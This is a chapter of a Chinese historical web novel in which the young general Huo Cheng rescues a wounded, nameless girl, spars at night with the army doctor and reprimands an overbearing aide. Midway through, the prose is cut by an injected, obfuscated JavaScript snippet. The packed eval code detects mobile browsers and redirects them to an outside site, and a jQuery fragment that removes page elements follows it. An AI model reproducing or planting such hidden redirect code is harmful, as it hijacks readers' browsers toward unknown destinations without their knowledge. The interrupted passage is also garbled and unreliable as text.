几名亲兵不敢耽搁，很快下马寻来粗布与长杆，匆匆扎起一副简易担架，小心翼翼将少女抬放上去。她似是在昏迷中也受着剧痛折磨，终于有了反应。眉心紧蹙着，身子微微蜷缩，原本按在腹间的手，下意识死死攥着衣衫。 张队医见状，连忙自随身药箱中翻出止血草药，以指腹粗略碾碎，又取来布条，动作却倏然停住，局促地立在原地，一时竟不知如何是好。 霍承将这一幕撞进眼底，当即下令腾出一辆辎重的空车，安顿少女上车。 张队医瞬间心头一喜，立刻上前搭手相助。 诸事安排妥当，霍承才转身走向坐骑。身形一动，已然利落翻身上马，指尖轻轻一收，攥紧了缰绳。 众人皆已准备俱全，只剩冯玄仍旧在原地伫立未动。他目光不经意落向方才那少女躺过的位置。凌乱的碎石之间，一滩淋漓血迹格外刺眼。他愣了片刻，无声地叹了口气，带着几分无奈，方才转身。 队伍重新启程，马蹄与车轮碾过山道碎石，一路向着山体深处行进。 冯玄策马靠近霍承身侧，压着声音依旧忧心忡忡：“小将军，此女伤势蹊跷，来历不明，万一是敌部刻意安插，日后恐生祸端。” “她若真是奸细，绝不会以这般重伤之躯涉险。”霍承目视前方，语气平静却笃定，“更何况，能在明黎山孤身至此，其中必有隐情。待她醒转，一切自会分晓。” 话音未落，后方随行的士兵已然忍不住低声议论起来。 “瞧那模样，怕是遭了什么难吧？” “张大夫方才那般神色，定是姑娘家难以言说的隐疾，这么瘦小，想来身世着实可怜。” “可这明黎山素来凶险，一个小姑娘孤身在此，终究太过怪异……” 细碎的议论随风飘至耳畔，霍承未做回应，只抬手按了按腰间匕首。晚霞最后一缕余晖掠过山峦，将整支队伍的影子，长长投在荒芜的山道之上。 马车之内，少女躺在颠簸中，呼吸微弱而浅促，额间沁出一层细密冷汗，始终未曾醒转。 行至半途，夜色彻底笼罩群山，队伍只好高举火把、牵马前进。霍承坐于马鞍，时不时回头望向那辆安置少女的马车，眉宇间依旧带着几分审慎。冯玄的顾虑并非全无道理，可方才那一眼触及的血色与苍白，终究让他无法置之不理。 连日车马劳顿，队伍最终抵达一片萧瑟荒滩之上停下脚步，就地安营扎寨。 夜色渐深，夜风裹挟着戈壁的凉意呼啸而过，营中火把明明灭灭，摇曳不定。周遭营帐尽数熄灯，兵士们早已沉沉睡去，唯有霍承独自步出寝帐，在一棵枯槁老树下，寻了块嶙峋青石静静落座。 他自怀中取出一支筚篥，抵于唇边，缓缓吹奏起来。苍凉悠远的乐声在寂静的荒原上缓缓漾开，曲调婉转凄切，似要将挥之不去的一丝孤寂，都融进这曲吹奏之中。 身后脚步声渐近，伴着步履踏过泥沙，粗布衣袂摩擦的窸窣动静，霍承收手回头。张队医面上带笑缓步走来，率先开口：“小将军这筚篥吹得悲凉，可是想家了？” 霍承没理睬他，回头望着前方半晌，只漠然来一句：“我的家在军营。” 闻言，张队医敛了敛笑容，也跟着望向漆黑的前路，言语认真地缓缓道：“是人都会有来路和归处。” 霍承：“尚未寻见。” 张队医闻言一笑：“小将军年纪还轻，暂时看不透很正常，待日后娶妻生子，就知道归处在哪了。” 归处……霍承被一语戳中，微微垂眸沉默半瞬。长睫轻覆眼底，他指尖无意识摩挲手中筚篥，抬眼时语气带着几分似嘲似讽：“队医夜半不寐，就为专程来与我论这人生幸事？” 岂料他话音刚落，张队医瞬间换了副面孔，慌忙蹲下身凑近他身侧，急声辩解：“不是，当真不是！”方才的从容荡然无存，神情顷刻间满是哀戚，终于吐露实情， “霍大将军，卢大总管放了狠话，我若不随军去北疆赴任，就要拿我项上人头，我是得了死令不得不从啊。您大人有大量，姑且发发慈悲，就放属下这把老骨头归乡去吧。” 霍承眉梢一挑，目光淡淡扫过对方，嘴角勾起一抹似笑非笑的弧度：“你畏惧大总管砍你的头颅，难不成，就不怕我此刻便先动手？” “怕啊，属下当然怕了！”张队医立刻出言辩驳，“只是你我好歹相识一场。打从小将军十三岁初入军营，属下权当是看着小将军一步一步地从无名小卒，走到今日的位置上。” 霍承听了此话，面色瞬间沉肃，转过头正色道：“军中向来法不容情。如今你为兵，我为将，往事休要再论。” 张队医眉头紧蹙：“此道理属下深知，可属下坚信世人一旦身居高位都会变，唯独将军你不会。” 霍承目光倏然一凝，牢牢锁在他面上。荒滩夜色笼罩，朔风穿野而过，吹乱二人鬓发。月色清凉如水，将张队医眼里那份执拗的笃定，映照得分毫毕现。 顿了顿，霍承收回目光，声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17557383|204288||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伴着风吹枯树的簌簌声响起：“人人都会变，我亦不例外。你若不遵从军令，我一样先杀了你。” 说罢，他无视张队医眼里的哀求，握着筚篥起身离开。 张队医拧眉，扭头凝望着那道离开的背影。 少顷，张队医缓身挪到霍承刚才坐过的位置上坐下，抬头望向无数星辰镶嵌的夜空，眉宇间满是怅然。 忽地，他抬手对着苍穹便扬声吟道：“我本无意向关山，奈何军令大如山……哟喂。”尾音黯然低沉了下来，最终只得化作一声无奈叹息。 静了少许，张队医脸上的哀嘁尽数敛去，扭头望向不远处灯火疏淡的军营，冷不丁自嘲低声叹道：“这死孩子，性子半点不通情理，往后真不知哪家姑娘会容他？”言毕，他撑着石头缓缓起身，下意识垂眸拍了拍衣裳，才负着手转身，带着月夜微凉慢慢往营地走回。 翌日，晨光破晓过枯草丛生的戈壁滩。 躺在简约席褥上的少女微微睁开眼，茫然地打量着眼前陌生的环境。 “你醒了？”霍承抱着长刀，蜷腿坐在她身旁几步的距离，下意识出声询问。 闻声之下，少女猛地撑着身子坐起，下意识攥紧被角往墙角瑟缩，眸光惊觉如受惊幼兽，牢牢锁在他身上。沙哑的声音里带着几分防备：“你是谁？我为何会出现在此处？” 霍承面上平静无波，只轻抿薄唇，淡淡吐出两个字：“军营。” 听闻此言，少女本就惶恐不安的神色愈发凝重，一双眸子紧紧盯着他，再不肯出声。 正僵持间，营帐帘幕忽然被轻轻掀开，张队医端着一碗热气氤氲的甜汤走了进来。他目光扫过帐中情形，脸上堆起几分和气笑意，温言道：“小姑娘，你醒了正好。爷爷我煮了碗甜汤，你趁热饮下，也省得我一勺一勺喂你。” 他刻意加重了“爷爷”二字，俨然一副长辈的模样，分明是特意说给暗处的某人听的。 霍承坐在原地，身形未动，听见此言眉峰却微微一挑，眼底掠过一丝了然。 昨夜打感情牌不成，今日倚老卖老。 只是少女依旧沉默不语，浑身戒备紧绷，分毫未动。 张队医见状，只得放缓语气，温声劝慰：“小姑娘不要害怕。我等行伍之人，既然出手相救，便断无加害之心。” 说罢，他端着汤碗，小心翼翼上前几步。可刚行至少女近前，她忽然抬手，猛地将碗狠狠扫落在地。瓷碗碎裂，甜汤混着红枣、黄芪等药材泼洒一地，亦浸湿了少女身前被褥。她眼中满是戒备与敌意，眉目刚烈。 张队医身形猛地一僵，望着满地狼藉，只得侧过头，朝霍承投去一个为难又求助的眼神。 霍承面上神色依旧沉静，并未动怒。目光淡淡扫过他，怀抱长刀，将视线沉沉落定在少女脸上，声线沉静无波：“你既不肯饮下，也不必如此抵触。我等并无恶意，只是念你重伤昏迷，方才出手相救。” 少女脊背绷得笔直，眼底的警惕分毫未减，双唇紧抿，依旧一言不发，全然一副不肯妥协的模样。 霍承又说：“你既已落在我军中，抗拒挣扎毫无意义。我无意为难于你，只问一句——” “你的姓名来历。” “究竟为何会孤身倒在明黎山险道之上？” 他问得言简意赅，刻意跳过了涉及少女隐私的话题，仅追问军情相关的疑点。 然而少女此刻仿若被逼至绝境的惊兽，眉目紧绷、凛然含锋，字字掷地有声：“我凭什么要告诉你？” 张队医搓着手连忙出声劝解：“小姑娘，这是我们军队主帅，霍承将军。昨日我们途经此地，见你昏倒在路边，方才将你救回营中。自然要弄清你的底细，万一你会对军营不利呢？” 少女听罢，眸光闪过一丝迟疑，只垂着头低低地回：“我不记得了。我没有名字，我是孤儿，本就无家可归。” 张队医一时语塞：“这……”他耐着性子又劝说，“小姑娘，属下知你是个身世苦命的人，可我们也绝非什么歹人，不然也不会冒着风险将你救了回来。方才你昏睡时，口中一直念着陈皮红豆汤。主帅守了你一夜听见声后，特意吩咐人去煮，属下还特地添了几味滋补药材。结果你醒来……抬手便将碗给我打翻了。” 少女闻言，眉目中的硬气倏然弱了几分，依旧垂着头不松口：“我说了，我真的没有名字……我也没有家。” 霍承顿了顿，拿着刀站起身。 “既然你闭口不谈，我们也不再多问，你既已醒，那便隔日自行离开吧。”说完，他转身径直离开。 张队医见状，连忙俯身收拾起地上碎裂的瓷片，眉头紧锁，轻叹了口气，也跟着快步退了出去。 待营帐内彻底安静下来，再无旁人气息，少女方才紧绷的身子微微一松，缓缓垂下头颅，将整张脸深深埋进被褥之中。 霍承从帐内出来，冯玄见状立即迎了过来。二人并肩而行，冯玄低声问道：“小将军真要贸然放此女离开？” 霍承脚步一顿。 “……你听见了？” 冯玄躬身回话：“属下无意窥探。只是此女来路不明，属下唯恐她会突然做出对小将军不利之事。” 霍承缓缓回头，眼神望向孤寂无垠的戈壁滩，语气沉了几分：“冯牙将，你越界了。” 冯玄略微一顿：“属下也是为了主帅好。卢总管命我陪您赴任，属下凡事自然要为您先着想。” 霍承眸光微冷，直视着他：“大总管命你随我赴任，是让你辅佐军务，让军队安全抵达北疆。而非站在营帐外偷听谈话，质疑我的决断。” 冯玄一时语塞，脸色微微紧绷，瞬间噤声。 霍承将他神色尽收眼底，语气稍缓：“义父待我恩重如山，此番派你随行，是信得过你的本事。但你要分清主次——军中主事的是我，只需恪守本分，听令行事即可。” 他顿了顿，目光冷冽地扫过对方：“你若因我年少便心存轻视，事事擅作主张，便是辜负了义父的一片苦心。今日之事，我可以不追究……但仅此一次，冯玄。” 冯玄浑身一僵，方才的傲气瞬间被压了下去，只得拱手沉声道：“属下……知错。” 霍承顿了顿，忽然又说：“不日她将自行离开，你心思缜密，她的事便由你暗中来排查。” 冯玄闻言一怔。 霍承补充：“不必打草惊蛇，更不可贸然惊动她。只需查清她去往何处、背后是否牵扯其他势力即可。” 话音落下，冯玄眼底闪过一丝喜色，当即领命：“属下定当办好此事。”